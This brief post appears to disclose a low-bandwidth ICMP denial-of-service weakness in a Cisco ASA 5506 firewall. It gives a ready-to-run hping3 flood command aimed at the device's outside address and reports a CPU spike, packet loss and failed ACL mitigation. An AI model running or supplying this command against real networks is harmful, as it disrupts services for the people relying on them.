Cisco ASA config:
Outside: 192.168.9.136/24
Inside: 192.168.1.1/24
How to attack it:
1. Get a ubuntu or any Linux server, install hping3 (apt-get install hping3)
2. attack it:
hping3 -1 -C 3 -K 3 -i u20 192.168.9.136
Monitoring from Cisco ASA ASDM, the CPU load spike to 100% in just few second time,
and services in the inside zone start to have packet lost to outside zone, and the attacking Ubuntu is just sending 5kbps of traffic:
ICMP type 3 has been set in access rule to drop but do not mitigate the issue,
sadly Cisco is not going to patch this, the only way to solve this is just to replace the ASA 5506…